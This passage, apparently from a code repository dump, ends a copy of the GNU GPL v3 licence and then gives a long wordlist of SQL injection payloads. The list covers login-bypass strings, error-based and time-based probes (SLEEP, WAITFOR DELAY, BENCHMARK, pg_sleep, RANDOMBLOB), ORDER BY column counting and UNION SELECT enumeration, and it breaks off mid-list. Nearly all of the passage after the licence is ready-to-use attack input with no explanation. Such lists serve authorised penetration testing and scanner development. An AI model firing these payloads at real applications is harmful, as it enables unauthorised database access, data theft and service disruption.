632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/sql injection payloads.txt:
--------------------------------------------------------------------------------
1 | Generic SQL Injection Payloads
2 | ''
3 | `
4 | ``
5 | ,
6 | "
7 | ""
8 | /
9 | //
10 | \
11 | \\
12 | ;
13 | ' or "
14 | -- or #
15 | ' OR '1
16 | ' OR 1 -- -
17 | " OR "" = "
18 | " OR 1 = 1 -- -
19 | ' OR '' = '
20 | '='
21 | 'LIKE'
22 | '=0--+
23 | OR 1=1
24 | ' OR 'x'='x
25 | ' AND id IS NULL; --
26 | '''''''''''''UNION SELECT '2
27 | %00
28 | /*…*/
29 | + addition, concatenate (or space in url)
30 | || (double pipe) concatenate
31 | % wildcard attribute indicator
32 |
33 | @variable local variable
34 | @@variable global variable
35 |
36 |
37 | # Numeric
38 | AND 1
39 | AND 0
40 | AND true
41 | AND false
42 | 1-false
43 | 1-true
44 | 1*56
45 | -2
46 |
47 |
48 | 1' ORDER BY 1--+
49 | 1' ORDER BY 2--+
50 | 1' ORDER BY 3--+
51 |
52 | 1' ORDER BY 1,2--+
53 | 1' ORDER BY 1,2,3--+
54 |
55 | 1' GROUP BY 1,2,--+
56 | 1' GROUP BY 1,2,3--+
57 | ' GROUP BY columnnames having 1=1 --
58 |
59 |
60 | -1' UNION SELECT 1,2,3--+
61 | ' UNION SELECT sum(columnname ) from tablename --
62 |
63 |
64 | -1 UNION SELECT 1 INTO @,@
65 | -1 UNION SELECT 1 INTO @,@,@
66 |
67 | 1 AND (SELECT * FROM Users) = 1
68 |
69 | ' AND MID(VERSION(),1,1) = '5';
70 |
71 | ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
72 |
73 |
74 | Finding the table name
75 |
76 |
77 | Time-Based:
78 | ,(select * from (select(sleep(10)))a)
79 | %2c(select%20*%20from%20(select(sleep(10)))a)
80 | ';WAITFOR DELAY '0:0:30'--
81 |
82 | Comments:
83 |
84 | # Hash comment
85 | /* C-style comment
86 | -- - SQL comment
87 | ;%00 Nullbyte
88 | ` Backtick
89 |
90 |
91 |
92 | Generic Error Based Payloads
93 | OR 1=1
94 | OR 1=0
95 | OR x=x
96 | OR x=y
97 | OR 1=1#
98 | OR 1=0#
99 | OR x=x#
100 | OR x=y#
101 | OR 1=1--
102 | OR 1=0--
103 | OR x=x--
104 | OR x=y--
105 | OR 3409=3409 AND ('pytW' LIKE 'pytW
106 | OR 3409=3409 AND ('pytW' LIKE 'pytY
107 | HAVING 1=1
108 | HAVING 1=0
109 | HAVING 1=1#
110 | HAVING 1=0#
111 | HAVING 1=1--
112 | HAVING 1=0--
113 | AND 1=1
114 | AND 1=0
115 | AND 1=1--
116 | AND 1=0--
117 | AND 1=1#
118 | AND 1=0#
119 | AND 1=1 AND '%'='
120 | AND 1=0 AND '%'='
121 | AND 1083=1083 AND (1427=1427
122 | AND 7506=9091 AND (5913=5913
123 | AND 1083=1083 AND ('1427=1427
124 | AND 7506=9091 AND ('5913=5913
125 | AND 7300=7300 AND 'pKlZ'='pKlZ
126 | AND 7300=7300 AND 'pKlZ'='pKlY
127 | AND 7300=7300 AND ('pKlZ'='pKlZ
128 | AND 7300=7300 AND ('pKlZ'='pKlY
129 | AS INJECTX WHERE 1=1 AND 1=1
130 | AS INJECTX WHERE 1=1 AND 1=0
131 | AS INJECTX WHERE 1=1 AND 1=1#
132 | AS INJECTX WHERE 1=1 AND 1=0#
133 | AS INJECTX WHERE 1=1 AND 1=1--
134 | AS INJECTX WHERE 1=1 AND 1=0--
135 | WHERE 1=1 AND 1=1
136 | WHERE 1=1 AND 1=0
137 | WHERE 1=1 AND 1=1#
138 | WHERE 1=1 AND 1=0#
139 | WHERE 1=1 AND 1=1--
140 | WHERE 1=1 AND 1=0--
141 | ORDER BY 1--
142 | ORDER BY 2--
143 | ORDER BY 3--
144 | ORDER BY 4--
145 | ORDER BY 5--
146 | ORDER BY 6--
147 | ORDER BY 7--
148 | ORDER BY 8--
149 | ORDER BY 9--
150 | ORDER BY 10--
151 | ORDER BY 11--
152 | ORDER BY 12--
153 | ORDER BY 13--
154 | ORDER BY 14--
155 | ORDER BY 15--
156 | ORDER BY 16--
157 | ORDER BY 17--
158 | ORDER BY 18--
159 | ORDER BY 19--
160 | ORDER BY 20--
161 | ORDER BY 21--
162 | ORDER BY 22--
163 | ORDER BY 23--
164 | ORDER BY 24--
165 | ORDER BY 25--
166 | ORDER BY 26--
167 | ORDER BY 27--
168 | ORDER BY 28--
169 | ORDER BY 29--
170 | ORDER BY 30--
171 | ORDER BY 31337--
172 | ORDER BY 1#
173 | ORDER BY 2#
174 | ORDER BY 3#
175 | ORDER BY 4#
176 | ORDER BY 5#
177 | ORDER BY 6#
178 | ORDER BY 7#
179 | ORDER BY 8#
180 | ORDER BY 9#
181 | ORDER BY 10#
182 | ORDER BY 11#
183 | ORDER BY 12#
184 | ORDER BY 13#
185 | ORDER BY 14#
186 | ORDER BY 15#
187 | ORDER BY 16#
188 | ORDER BY 17#
189 | ORDER BY 18#
190 | ORDER BY 19#
191 | ORDER BY 20#
192 | ORDER BY 21#
193 | ORDER BY 22#
194 | ORDER BY 23#
195 | ORDER BY 24#
196 | ORDER BY 25#
197 | ORDER BY 26#
198 | ORDER BY 27#
199 | ORDER BY 28#
200 | ORDER BY 29#
201 | ORDER BY 30#
202 | ORDER BY 31337#
203 | ORDER BY 1
204 | ORDER BY 2
205 | ORDER BY 3
206 | ORDER BY 4
207 | ORDER BY 5
208 | ORDER BY 6
209 | ORDER BY 7
210 | ORDER BY 8
211 | ORDER BY 9
212 | ORDER BY 10
213 | ORDER BY 11
214 | ORDER BY 12
215 | ORDER BY 13
216 | ORDER BY 14
217 | ORDER BY 15
218 | ORDER BY 16
219 | ORDER BY 17
220 | ORDER BY 18
221 | ORDER BY 19
222 | ORDER BY 20
223 | ORDER BY 21
224 | ORDER BY 22
225 | ORDER BY 23
226 | ORDER BY 24
227 | ORDER BY 25
228 | ORDER BY 26
229 | ORDER BY 27
230 | ORDER BY 28
231 | ORDER BY 29
232 | ORDER BY 30
233 | ORDER BY 31337
234 | RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
235 | RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
236 | IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
237 | IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
238 | %' AND 8310=8310 AND '%'='
239 | %' AND 8310=8311 AND '%'='
240 | and (select substring(@@version,1,1))='X'
241 | and (select substring(@@version,1,1))='M'
242 | and (select substring(@@version,2,1))='i'
243 | and (select substring(@@version,2,1))='y'
244 | and (select substring(@@version,3,1))='c'
245 | and (select substring(@@version,3,1))='S'
246 | and (select substring(@@version,3,1))='X'
247 |
248 |
249 |
250 |
251 | Generic Time Based SQL Injection Payloads
252 | # from wapiti
253 | sleep(5)#
254 | 1 or sleep(5)#
255 | " or sleep(5)#
256 | ' or sleep(5)#
257 | " or sleep(5)="
258 | ' or sleep(5)='
259 | 1) or sleep(5)#
260 | ") or sleep(5)="
261 | ') or sleep(5)='
262 | 1)) or sleep(5)#
263 | ")) or sleep(5)="
264 | ')) or sleep(5)='
265 | ;waitfor delay '0:0:5'--
266 | );waitfor delay '0:0:5'--
267 | ';waitfor delay '0:0:5'--
268 | ";waitfor delay '0:0:5'--
269 | ');waitfor delay '0:0:5'--
270 | ");waitfor delay '0:0:5'--
271 | ));waitfor delay '0:0:5'--
272 | '));waitfor delay '0:0:5'--
273 | "));waitfor delay '0:0:5'--
274 | benchmark(10000000,MD5(1))#
275 | 1 or benchmark(10000000,MD5(1))#
276 | " or benchmark(10000000,MD5(1))#
277 | ' or benchmark(10000000,MD5(1))#
278 | 1) or benchmark(10000000,MD5(1))#
279 | ") or benchmark(10000000,MD5(1))#
280 | ') or benchmark(10000000,MD5(1))#
281 | 1)) or benchmark(10000000,MD5(1))#
282 | ")) or benchmark(10000000,MD5(1))#
283 | ')) or benchmark(10000000,MD5(1))#
284 | pg_sleep(5)--
285 | 1 or pg_sleep(5)--
286 | " or pg_sleep(5)--
287 | ' or pg_sleep(5)--
288 | 1) or pg_sleep(5)--
289 | ") or pg_sleep(5)--
290 | ') or pg_sleep(5)--
291 | 1)) or pg_sleep(5)--
292 | ")) or pg_sleep(5)--
293 | ')) or pg_sleep(5)--
294 | AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
295 | AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='
296 | AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
297 | AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
298 | AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
299 | SLEEP(5)#
300 | SLEEP(5)--
301 | SLEEP(5)="
302 | SLEEP(5)='
303 | or SLEEP(5)
304 | or SLEEP(5)#
305 | or SLEEP(5)--
306 | or SLEEP(5)="
307 | or SLEEP(5)='
308 | waitfor delay '00:00:05'
309 | waitfor delay '00:00:05'--
310 | waitfor delay '00:00:05'#
311 | benchmark(50000000,MD5(1))
312 | benchmark(50000000,MD5(1))--
313 | benchmark(50000000,MD5(1))#
314 | or benchmark(50000000,MD5(1))
315 | or benchmark(50000000,MD5(1))--
316 | or benchmark(50000000,MD5(1))#
317 | pg_SLEEP(5)
318 | pg_SLEEP(5)--
319 | pg_SLEEP(5)#
320 | or pg_SLEEP(5)
321 | or pg_SLEEP(5)--
322 | or pg_SLEEP(5)#
323 | '\"
324 | AnD SLEEP(5)
325 | AnD SLEEP(5)--
326 | AnD SLEEP(5)#
327 | &&SLEEP(5)
328 | &&SLEEP(5)--
329 | &&SLEEP(5)#
330 | ' AnD SLEEP(5) ANd '1
331 | '&&SLEEP(5)&&'1
332 | ORDER BY SLEEP(5)
333 | ORDER BY SLEEP(5)--
334 | ORDER BY SLEEP(5)#
335 | (SELECT * FROM (SELECT(SLEEP(5)))ecMj)
336 | (SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
337 | (SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
338 | +benchmark(3200,SHA1(1))+'
339 | + SLEEP(10) + '
340 | RANDOMBLOB(500000000/2)
341 | AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
342 | OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
343 | RANDOMBLOB(1000000000/2)
344 | AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
345 | OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
346 | SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
347 |
348 |
349 |
350 | Generic Union Select Payloads
351 |
352 | ORDER BY SLEEP(5)
353 | ORDER BY 1,SLEEP(5)
354 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))
355 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4
356 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5
357 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6
358 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7
359 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8
360 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9
361 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10
362 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11
363 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12
364 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13
365 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
366 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
367 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15
368 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16
369 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17
370 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
371 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
372 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
373 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
374 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
375 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
376 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
377 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
378 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
379 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
380 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
381 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
382 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
383 | ORDER BY SLEEP(5)#
384 | ORDER BY 1,SLEEP(5)#
385 | ORDER BY 1,SLEEP(5),3#
386 | ORDER BY 1,SLEEP(5),3,4#
387 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5#
388 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6#
389 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7#
390 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8#
391 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9#
392 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10#
393 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11#
394 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12#
395 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13#
396 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
397 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
398 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15#
399 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16#
400 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17#
401 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
402 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
403 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
404 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
405 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
406 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
407 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
408 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
409 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
410 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
411 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
412 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
413 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
414 | ORDER BY SLEEP(5)--
415 | ORDER BY 1,SLEEP(5)--
416 | ORDER BY 1,SLEEP(5),3--
417 | ORDER BY 1,SLEEP(5),3,4--
418 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5--
419 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6--
420 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7--
421 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8--
422 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9--
423 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10--
424 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11--
425 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12--
426 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13--
427 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14--
428 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14--
429 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15--
430 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16--
431 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17--
432 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
433 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
434 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
435 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
436 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
437 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
438 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
439 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
440 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
441 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
442 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
443 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
444 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
445 | UNION ALL SELECT 1
446 | UNION ALL SELECT 1,2
447 | UNION ALL SELECT 1,2,3
448 | UNION ALL SELECT 1,2,3,4
449 | UNION ALL SELECT 1,2,3,4,5
450 | UNION ALL SELECT 1,2,3,4,5,6
451 | UNION ALL SELECT 1,2,3,4,5,6,7
452 | UNION ALL SELECT 1,2,3,4,5,6,7,8
453 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9
454 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10
455 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11
456 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12
457 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
458 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14
459 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
460 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
461 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
462 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
463 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
464 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
465 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
466 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
467 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
468 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
469 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
470 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
471 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
472 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
473 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
474 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
475 | UNION ALL SELECT 1#
476 | UNION ALL SELECT 1,2#
477 | UNION ALL SELECT 1,2,3#
478 | UNION ALL SELECT 1,2,3,4#
479 | UNION ALL SELECT 1,2,3,4,5#
480 | UNION ALL SELECT 1,2,3,4,5,6#
481 | UNION ALL SELECT 1,2,3,4,5,6,7#
482 | UNION ALL SELECT 1,2,3,4,5,6,7,8#
483 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9#
484 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10#
485 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#
486 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12#
487 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13#
488 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14#
489 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
490 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
491 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
492 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
493 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
494 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
495 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
496 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
497 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
498 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
499 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
500 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
501 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
502 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
503 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
504 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
505 | UNION ALL SELECT 1--
506 | UNION ALL SELECT 1,2--
507 | UNION ALL SELECT 1,2,3--
508 | UNION ALL SELECT 1,2,3,4--
509 | UNION ALL SELECT 1,2,3,4,5--
510 | UNION ALL SELECT 1,2,3,4,5,6--
511 | UNION ALL SELECT 1,2,3,4,5,6,7--
512 | UNION ALL SELECT 1,2,3,4,5,6,7,8--
